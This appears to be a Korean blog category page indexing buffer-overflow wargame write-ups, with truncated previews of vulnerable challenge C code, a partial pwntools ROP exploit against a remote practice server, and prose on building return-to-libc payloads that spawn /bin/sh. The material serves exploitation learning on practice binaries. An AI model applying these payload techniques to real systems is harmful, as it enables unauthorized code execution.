buffer overflow(11)
-
sint 풀이
#include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } int main() { char buf[256]; int size; initialize(); signal(SIGSEGV, get_shell); printf("Size: "); scanf("%d", &size); if (size > 256 || s..
2022.05.31 -
basic_exploitation_003 풀이
#include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } int main(int argc, char *argv[]) { char *heap_buf = (char *)malloc(0x80); char stack_buf[0x90] = {}; initialize(); read(0, heap_buf, 0x80..
2021.08.04 -
여러가지 ROP 문제 풀이
- rop32 풀이 from pwn import * p=remote('sunrin.site', 9003) e=ELF('./rop32') libc=ELF('./libc.so.6.rop32') read=libc.symbols['read'] read_got=e.got['read'] read_plt=e.plt['read'] main=e.symbols['main'] system=libc.symbols['system'] bss=e.bss() printf_plt=e.plt['printf'] pr=0x0804855b payload='A'*0x3a+'B'*4 payload+=p32(printf_plt)+p32(pr)+p32(read_got) payload+=p32(read_plt) payload+=p32(main)+p3..
2021.08.01 -
Pwndbg 동적 디버깅으로 RTL 32bit, RTL 64bit 풀기 - Ubuntu Linux
- RTL 32bit 풀이 이 문제에서는 아래와 같이 rtl32_1이라는 실행파일이 주어집니다. memset() 함수로 buf를 정리해주고, printf()로 "Input me : "라는 문자열을 출력해줍니다. 다음 줄에서 read() 함수로 0x58(10진수로 88)만큼 buf를 입력받습니다. 그런데 위에서 선언된 buf를 보면 크기가 0x48(10진수로 72)이므로, 이 부분에서 BOF가 일어난다는걸 알 수 있습니다. payload를 구상해보면 'a'를 buf 크기(0x48)만큼 + sfp 4 + system + dummy 4 + /bin/sh 정도로 구성 될 것 같습니다. system과 /bin/sh를 어떻게 실행시켜야할까....하고 고민하다가 IDA로 파일 안에 있는 모든 문자열을 열어보았습니다...
2021.07.19 -
RTL_World 풀이
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int v4; // [esp+10h] [ebp-90h] char buf; // [esp+14h] [ebp-8Ch] void *v6; // [esp+94h] [ebp-Ch] void *handle; // [esp+98h] [ebp-8h] void *s1; // [esp+9Ch] [ebp-4h] setvbuf(stdout, 0, 2, 0); handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1); v6 = dlsym(handle, "system"); dlclose(handle); for ( s1 = v6; memcmp(..
2021.07.17 -
Simple_Overflow_ver_2 풀이
이번 문제는 여태까지 풀었던 Buffer Overflow문제들보다 소스코드가 조금 복잡해 보입니다. 우선 문제 파일을 실행시켜보겠습니다. 코드랑 같이 보면서 설명하도록 하겠습니다. 우선 do-while 반복문을 사용하는데, do의 첫 부분에서 88-14=74(10진수로 116) 크기의 char형 배열 s를 \n(줄 바꿈 이스케이프 시퀸스)이 나오기 전까지 입력받습니다. 그리고 for문으로 들어가는데, size_t 형식의 변수 v3에다가 int형 변수 i를 대입합니다. 저는 여기서 size_t라는 타입을 처음 봐서 구글에 서칭을 조금 해봤습니다. size_t는 해당 시스템에서 어떤 객체나 값이 포함할 수 있는 최대 크기의 데이터를 표현하는 타입으로 반드시 unsigned 형으로 나타낸다. 나무위키에 siz..
2021.07.14